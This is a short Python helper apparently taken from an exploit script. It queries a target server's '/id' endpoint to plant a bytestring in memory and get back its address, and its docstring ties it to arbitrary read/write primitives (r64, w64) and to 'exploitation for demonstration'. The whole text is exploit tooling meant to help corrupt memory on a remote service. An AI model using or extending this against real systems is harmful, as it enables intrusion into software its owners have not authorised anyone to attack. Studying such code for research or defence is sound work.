def _id(id=0, objtype='int'):
'''
Plant a bytestring into memory and obtain it's address. Not strictly
required (r64 & w64 are the only required functions), however it
greatly simplifies exploitation for demonstration.
'''
global URL
path = '/id'
params = {}
if objtype != 'int':
id = base64.b64encode(id)
params['id'] = id
params['objtype'] = objtype
response = requests.get(URL+path, params=params)
ret = int(json.loads(response.text)['result'])
return ret